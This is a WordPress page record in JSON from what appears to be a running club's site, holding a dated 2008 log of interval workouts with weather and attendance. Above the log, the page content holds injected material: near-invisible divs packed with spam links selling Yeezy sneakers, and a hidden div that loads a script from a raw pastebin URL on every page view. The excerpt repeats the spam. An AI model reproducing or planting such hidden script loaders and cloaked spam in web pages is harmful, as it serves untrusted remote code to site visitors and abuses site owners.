{"id":160,"date":"2010-05-01T11:26:34","date_gmt":"2010-05-01T18:26:34","guid":{"rendered":"http:\/\/gospartans.org\/?page_id=160"},"modified":"2017-02-04T22:31:55","modified_gmt":"2017-02-05T06:31:55","slug":"2008-2","status":"publish","type":"page","link":"https:\/\/gospartans.org\/?page_id=160","title":{"rendered":"2008"},"content":{"rendered":"<div class=\"_all_wplink_42PjORRh_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/a-market.pl\/yeezy-boost-350-v2-raffle-online.html\">yeezy boost 350 v2 black red for sale<\/a><a href=\"http:\/\/www.ratebook.ch\/yeezy-boost-350-v2-schwarz-kaufen.html\">Adidas Yeezy Boost 350 V2 Schwarz Wei\u00df Wo kaufen<\/a><a href=\"http:\/\/www.skylogic.it\/yeezy-boost-350-v2-nero-acquistare.html\">scarpe Yeezy Boost 350 Nero Comprare<\/a><a href=\"http:\/\/lasergifts.com\/\/wp-content\/uploads\/2016\/11\/adidas-yeezy-boost-v2-white\/\">yeezy boost 350 triple white<\/a><a href=\"http:\/\/blogs.welingkar.org\/yeezy-350-v2-beluga-buy.php\">yeezy boost 350<\/a><a href=\"http:\/\/www.fan-strefa.pl\/buy-adidas-yeezy-boost-v2-black-green.php\">Yeezy Boost 350 V2 Black<\/a><a href=\"http:\/\/www.ulkuocaklari.org.tr\/yeezy-boost-350-v2.html\">buy yeezys<\/a><a href=\"http:\/\/www.mymusicfa.org\/yeezy-350-moonrock.html\">http:\/\/www.mymusicfa.org\/yeezy-350-moonrock.html<\/a><a href=\"http:\/\/www.soundproofing.org\/350-v2-beluga\/\">yeezy boost 350 v2<\/a><a href=\"http:\/\/www.metal-design-concept.com\/yeezy-boost-350-for-sale\/\">2017 adidas yeezy boost 350 triple white<\/a><a href=\"http:\/\/zs1.edu.pl\/nowa\/buy-yeezy-350-triple-white\/\">yeezy boost 350 triple white<\/a><a href=\"http:\/\/www.holisticsocialcare.org\/yeezy-boost-350-white-sale\/\">yeezy boost 350 2017<\/a><a href=\"http:\/\/www.g5sahel.org\/yeezy-350-black-red\/\">yeezy boost 350 v2<\/a><a href=\"http:\/\/partners.caring.com\/boost.php\">yeezy boost 350 v2 white black buy<\/a><a href=\"http:\/\/www.bookmasters.com\/yeezy-boost-sply-350.html\">yeezy boost 350 v2 white black buy<\/a><\/div>\n<div class=\"_all_wplink_ifisEmmL_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/adidasyeezy350boostv2.us.com\">adidasyeezy350boostv2.us.com<\/a><\/div>\n<div style=\"display:none\"><script language=\"javascript\" type=\"text\/javascript\" src=\"http:\/\/pastebin.com\/raw.php?i=f4Rv9vKp\"><\/script><\/div>\n<p>12\/31\/08 Wed &#8211; New Year&#8217;s Eve &#8211; no work-out<br \/>\n12\/29\/08 Mon &#8211; 3x(600; 800); 600 = 3 mi; lo 50&#8217;s; 4 ran<br \/>\n12\/24\/08 Wed &#8211; Christmas Eve &#8211; no work-out<br \/>\n12\/22\/08 Mon &#8211; 6&#215;800 = 3 mi; lo 50&#8217;s, lite rain; 1 ran<br \/>\n12\/17\/08 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; mid 40&#8217;s; 5 ran<br \/>\n12\/15\/08 Mon &#8211; 3&#215;1,600 = 3 mi, lo 40&#8217;s, rain threat; 3 ran<br \/>\nAt max distances &#8211; 3 mi Mon &amp; 4 mi Wed<br \/>\n12\/10\/08 Wed &#8211; 1,600; 3&#215;800; 1,600 = 3 1\/2 mi, mid 50&#8217;s, 7 ran<br \/>\n12\/08\/08 Mon &#8211; 2&#215;800; 3&#215;400; 2&#215;800 = 2 3\/4 mi; mid 50&#8217;s; 8 ran<br \/>\n12\/03\/08 Wed &#8211; 1,200; 2&#215;1,600; 1,200 = 3 1\/2 mi; mid 50&#8217;s; 5 ran<br \/>\n12\/01\/08 Mon &#8211; 5&#215;800 = 2 1\/2 mi; hi 50&#8217;s; 7 ran<br \/>\n11\/26\/08 Wed &#8211; rain<br \/>\n11\/24\/08 Mon &#8211; 4x(600; 400) = 2 1\/2 mi; hi 50&#8217;s; 7 ran<br \/>\n11\/19\/08 Wed &#8211; 2&#215;1,200; 1,600; 1,200 = 3 1\/4 mi; hi 50&#8217;s; 7 ran<br \/>\n11\/17\/08 Mon &#8211; 3x(600; 400); 600 = 2 1\/4 mi; lo 60&#8217;s; 9 ran<br \/>\n11\/12\/08 Wed &#8211; 800; 3&#215;1,200; 800 = 3 1\/4 mi; lo 60&#8217;s; 12 ran<br \/>\n11\/10\/08 Mon &#8211; 3&#215;400; 2&#215;600; 3&#215;400 = 2 1\/4 mi; hi 50&#8217;s; 10 ran<br \/>\n11\/05\/08 Wed &#8211; 2x(800; 1,200); 800 = 3 mi; lo 60&#8217;s; 10 ran<br \/>\n11\/03\/08 Mon &#8211; rained out<br \/>\nswitch to slower, longer intervals, begin increasing total miles; short recovery.<br \/>\n10\/29\/08 Wed &#8211; 800; 8&#215;400; 800 = 3 mi; hi 60&#8217;s; 10 ran<br \/>\n10\/27\/08 Mon &#8211; 4&#215;400; 2&#215;200; 3&#215;400 = 2 mi; lo 70&#8217;s; 9 ran<br \/>\n10\/22\/08 Wed &#8211; 800; 600; 2&#215;400; 2&#215;200; 2&#215;400; 600; 800 = 3 mi; lo 70&#8217;s; 9 ran<br \/>\n10\/20\/08 Mon &#8211; 400; 4x(400; 200); 400 = 2 mi; lo 70&#8217;s; 9 ran<br \/>\n10\/15\/08 Wed &#8211; 6&#215;800 = 3 mi; mid 70&#8217;s; 13 ran<br \/>\n10\/13\/08 Mon &#8211; 2&#215;400; 4x(300, 50 jog, 150 sprint); 2&#215;400 = 2.1 mi; lo 70&#8217;s; 10 ran<br \/>\nSwitch to short intervals<br \/>\n10\/08\/08 Wed &#8211; 4&#215;1,200 = 3 mi; lo 70&#8217;s; 12 ran<br \/>\n10\/06\/08 Mon &#8211; 2&#215;600; 800; 2&#215;600 = 2 mi; lo 70&#8217;s; 8 ran<br \/>\n10\/01\/08 Wed &#8211; 800; 2&#215;1,600; 800 = 3 mi; lo 70&#8217;s; 10 ran<br \/>\n09\/29\/08 Mon &#8211; 600; 2&#215;800; 600; 400 = 2 mi; lo 70&#8217;s; 9 ran<br \/>\n09\/24\/08 Wed &#8211; 400; 1,600; 800; 1,600; 400 = 3 mi; mid 80&#8217;s; 11 ran<br \/>\n09\/22\/08 Mon &#8211; 800; 600; 400; 600; 800 = 2 mi; lo 80&#8217;s; 9 ran<br \/>\n09\/17\/08 Wed &#8211; 2&#215;1,600; 800; 2&#215;400 = 3 mi; lo 70&#8217;s 14 ran<br \/>\n09\/15\/08 Mon &#8211; 2x(800; 400); 800 = 2 mi; mid 70&#8217;s; 11 ran<br \/>\n09\/10\/08 Wed &#8211; 1,600; 2&#215;800; 1,600 = 3 mi; lo 70&#8217;s; 16 ran<br \/>\n09\/08\/08 Mon &#8211; 800; 4&#215;400; 800 = 2 mi; mid 70&#8217;s; 11 ran<br \/>\n09\/03\/08 Wed &#8211; 4&#215;1,200 = 3 mi; mid 90&#8217;s; 16 ran<br \/>\n09\/01\/08 Mon Labor Day &#8211; 800; 600; 400; 600; 800 = 2 mi; mid 80&#8217;s; 7 ran<br \/>\n08\/27\/08 Wed &#8211; 3&#215;1,600 = 3 mi; mid 90&#8217;s; 11 ran<br \/>\n08\/25\/08 Mon &#8211; 4&#215;800 = 2 mi; mid 80&#8217;s; 10 ran<br \/>\nSwitch to longer intervals; fast pace, long recovery<br \/>\n08\/20\/08 Wed &#8211; 1,200; 600; 3&#215;400; 600; 1,200 = 3 mi; lo 70&#8217;s; 13 ran<br \/>\n08\/18\/08 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi; lo 70&#8217;s; 14 ran<br \/>\n08\/13\/08 Wed &#8211; 2&#215;800; 3&#215;400; 4&#215;200; 400; 800 = 3 mi; hi 80&#8217;s; 13 ran<br \/>\n08\/11\/08 Mon &#8211; 2&#215;400; 4x(300, 50 jog, 150 sprint); 2&#215;400 = 2.1 mi; hi 80&#8217;s; 14 ran<br \/>\n08\/06\/08 Wed &#8211; 1,200; 3&#215;400; 2&#215;200; 3&#215;400; 800 = 3 mi; hi 70&#8217;s; 13 ran<br \/>\n08\/04\/08 Mon &#8211; 400; 4x(400; 200); 400 = 2 mi; mid 70&#8217;s; 13 ran<br \/>\n07\/30\/08 Wed &#8211; 800; 600; 2&#215;400; 2&#215;200; 2&#215;400; 600; 800 = 3 mi; lo 80&#8217;s; 12 ran<br \/>\n07\/28\/08 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 &#8211; 2 mi; lo 70&#8217;s; 14 ran<br \/>\n07\/23\/08 Wed &#8211; 1,200; 2x(300+50 jog+150sprint); 600; 2x(300+50 jog+150 sprint); 1,200 = 3 mi; hi 70&#8217;s; 18 ran<br \/>\n07\/21\/08 Mon &#8211; 600; 400; 300; 3&#215;200; 300; 400; 600 = 2 mi; hi 60&#8217;s, 11 ran<br \/>\n07\/16\/08 Wed &#8211; 2&#215;800; 4&#215;400; 2&#215;800 = 3 mi; lo 80&#8217;s; 17 ran<br \/>\n07\/14\/08 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi; hi 70&#8217;s; 11 ran<br \/>\n07\/09\/08 Wed &#8211; 2x(800; 1,200); 800 = 3 mi; hi 80&#8217;s, smoky air; 9 ran<br \/>\n07\/07\/08 Mon &#8211; 3&#215;400; 3x(300, 50 jog, 150 sprint); 2&#215;400 = 2.1 mi; mid 90&#8217;s, calm; 16 ran<br \/>\n07\/02\/08 Wed &#8211; 1,200; 800; 2&#215;400; 800; 1,200 = 3 miles mid 80&#8217;s; 10 ran<br \/>\n06\/30\/08 Mon &#8211; 600; 2&#215;400; 2&#215;200; 2&#215;400; 600 = 2 mi; lo 80&#8217;s; 12 ran<br \/>\n06\/25\/08 Wed &#8211; 4&#215;1,200 = 3 mi; mid 70&#8217;s windy; 12 ran<br \/>\n06\/23\/08 Mon &#8211; 8&#215;400 = 2 mi; hi 70&#8217;s windy; 10 ran<br \/>\n06\/18\/08 Wed &#8211; 2x(1,200; 600); 1,200 = 3 mi; lo 80&#8217;s; 13 ran<br \/>\n06\/16\/08 Mon &#8211; 2&#215;600; 2&#215;400; 2&#215;600 = 2 mi; mid 80&#8217;s; 10 ran<br \/>\n06\/11\/08 Wed &#8211; 6&#215;800 = 3 mi; hi 80&#8217;s; 12 ran<br \/>\n06\/09\/08 Mon &#8211; 2x(2&#215;400; 2&#215;200) 2&#215;400 = 2 mi; mid 80&#8217;s, wind; 10 ran<br \/>\n06\/04\/08 Wed &#8211; 2&#215;800; 1,600; 2&#215;800 = 3 mi; lo 70&#8217;s wind; 17 ran<br \/>\n06\/02\/08 Mon &#8211; 3&#215;400; 3x(300, 50 jog, 150 sprint); 2&#215;400 = 2.1 mi; lo 70&#8217;s wind; 14 ran<br \/>\n05\/28\/08 Wed &#8211; 3&#215;1,600 = 3 mi; mid 60&#8217;s, windy; 12 ran<br \/>\n05\/26\/08 Mon &#8211; 3&#215;400; 3x(300, 50 jog, 150 sprint); 2&#215;400 = 2.1 mi; hi 60&#8217;s; 10 ran<br \/>\n05\/21\/08 Wed &#8211; 2x(800; 1,200); 800 = 3 mi; hi 60&#8217;s, windy; 12 ran<br \/>\n05\/19\/08 Mon &#8211; 8&#215;400 = 2 mi; mid 70&#8217;s, 14 ran<br \/>\n05\/14\/08 Wed &#8211; 1,200; 800; 2&#215;400; 800; 1,200 = 3 mi; lo 70&#8217;s; 15 ran<br \/>\n05\/12\/08 Mon &#8211; 2x(600; 400; 600) = 2 mi; mid 70&#8217;s; 14 ran<br \/>\n05\/07\/08 Wed &#8211; 4&#215;1,200 = 3 mi; lo 70&#8217;s; 13 ran<br \/>\n05\/05\/08 Mon &#8211; 3&#215;400; 3x(300, 50 jog, 150 sprint); 2&#215;400 = 2.1 mi; hi 60&#8217;s; 15 ran<br \/>\n04\/30\/08 Wed &#8211; 6&#215;800 = 3 mi; hi 60&#8217;s, windy; 11 ran<br \/>\n04\/28\/08 Mon &#8211; 3&#215;400; 800; 3&#215;400 = 2 mi; lo 70&#8217;s; 13 ran<br \/>\n04\/23\/08 Wed &#8211; 3&#215;1,600 = 3 mi; mid 60&#8217;s; 17 ran<br \/>\n04\/21\/08 Mon &#8211; 2&#215;600; 2&#215;400; 2&#215;600 = 2 mi; lo 60&#8217;s; 8 ran<br \/>\n04\/16\/08 Wed &#8211; 3&#215;1,200; 2&#215;600 = 3 mi; lo 60&#8217;s windy; 6 ran<br \/>\n04\/14\/08 Mon &#8211; 2&#215;600; 5&#215;400 = 2 mi; lo 70&#8217;s; 8 ran<br \/>\n04\/09\/08 Wed &#8211; 4&#215;1,200 = 3 mi; mid 60&#8217;s; 9 ran<br \/>\n04\/07\/08 Mon &#8211; 8&#215;400 = 2 mi; lo 60&#8217;s; 10 ran<br \/>\nSwitch to less and shorter faster paced intervals, longer recovery<br \/>\n04\/02\/08 Wed &#8211; 2&#215;1,200; 2&#215;800; 2&#215;1,200 = 4 mi; lo 60&#8217;s; 6 ran<br \/>\n03\/31\/08 Mon &#8211; 2&#215;800; 4&#215;400; 2&#215;800 = 3 mi; mid 60&#8217;s; 10 ran<br \/>\n03\/26\/08 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; mid 60&#8217;s, wind; 10 ran<br \/>\n03\/24\/08 Mon &#8211; 3x(600; 800); 600 = 3 mi; mid 60&#8217;s, wind; 11 ran<br \/>\n03\/19\/08 Wed &#8211; 2&#215;1,200; 1,600; 2&#215;1,200 = 4 mi; mid 60&#8217;s; 10 ran<br \/>\n03\/17\/08 Mon &#8211; 8&#215;600 = 3 mi; mid 60&#8217;s 8 ran<br \/>\n03\/12\/08 Wed &#8211; 4&#215;1,600 = 4 mi; mid 60&#8217;s; 9 ran<br \/>\n03\/10\/08 Mon &#8211; 3x(600; 800); 600 = 3 mi; hi 60&#8217;s; 8 ran<br \/>\nDaylight savings time began<br \/>\n03\/05\/08 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; hi 60&#8217;s; 10 ran<br \/>\n03\/03\/08 Mon &#8211; 6&#215;800 = 3 mi; hi 60&#8217;s lt breeze; 8 ran<br \/>\n02\/27\/08 Wed &#8211; 2x(1,600; 800); 1,600 = 4 mi; mid 60&#8217;s; 18 ran<br \/>\n02\/25\/08 Mon &#8211; 2&#215;800; 4&#215;600; 800 = 3 mi; lo 60&#8217;s; 12 ran<br \/>\n02\/20\/08 Wed &#8211; 2x(1,600; 800) ; 1,600= 4 mi; hi 50&#8217;s; 6 ran<br \/>\n02\/18\/08 Mon &#8211; 8&#215;600 = 3 mi; hi 50&#8217;s; 8 ran<br \/>\n02\/13\/08 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; hi 50&#8217;s; 5 ran<br \/>\n02\/11\/08 Mon &#8211; 800; 3x(400; 800) = 2 3\/4 mi; hi 50&#8217;s; 6 ran<br \/>\n02\/06\/08 Wed &#8211; 4&#215;1,200; 1,600 = 4 mi; lo 50&#8217;s; 4 ran<br \/>\n02\/04\/08 Mon &#8211; 3x(600; 800); 600 = 3 mi; lo 50&#8217;s; 5 ran<br \/>\n01\/30\/08 Wed &#8211; 4&#215;1,600 = 4 mi; lo 50&#8217;s; 6 ran<br \/>\n01\/28\/08 Mon &#8211; 6&#215;800 = 3 mi; hi 50&#8217;s; 7 ran<br \/>\n01\/24\/08 Wed &#8211; 2x(1,600; 800); 1,600 = 4 mi; hi 50&#8217;s; 7 ran<br \/>\n01\/22\/08 Mon &#8211; rain<br \/>\n01\/16\/08 Wed &#8211; 2&#215;1,200; 1,600; 2&#215;1,200 = 4 mi; lo 60&#8217;s; 5 ran<br \/>\n01\/14\/08 Mon &#8211; 2&#215;800; 4&#215;600; 800 = 3 mi; lo 60&#8217;s; 10 ran<br \/>\n01\/09\/08 Wed &#8211; 1,600; 1,200; 800; 1,200; 1,600 = 4 mi; lo 60&#8217;s; 10 ran<br \/>\n01\/07\/08 Mon &#8211; 3&#215;800; 2&#215;400; 2&#215;800 = 3 mi; hi 50&#8217;s lit gusts; 6 ran<br \/>\n01\/02\/06 Wed &#8211; 4&#215;1,600 = 4 mi; lo 80&#8217;s, calm; 6 ran<\/p>\n","protected":false},"excerpt":{"rendered":"<p>yeezy boost 350 v2 black red for saleAdidas Yeezy Boost 350 V2 Schwarz Wei\u00df Wo kaufenscarpe Yeezy Boost 350 Nero Comprareyeezy boost 350 triple whiteyeezy boost 350Yeezy Boost 350 V2 Blackbuy yeezyshttp:\/\/www.mymusicfa.org\/yeezy-350-moonrock.htmlyeezy boost 350 v22017 adidas yeezy boost 350 triple &hellip; <a href=\"https:\/\/gospartans.org\/?page_id=160\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"parent":136,"menu_order":46,"comment_status":"closed","ping_status":"closed","template":"","meta":{"jetpack_post_was_ever_published":false,"footnotes":""},"class_list":["post-160","page","type-page","status-publish","hentry"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/PUWdT-2A","_links":{"self":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/160","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=160"}],"version-history":[{"count":39,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/160\/revisions"}],"predecessor-version":[{"id":1651,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/160\/revisions\/1651"}],"up":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/136"}],"wp:attachment":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}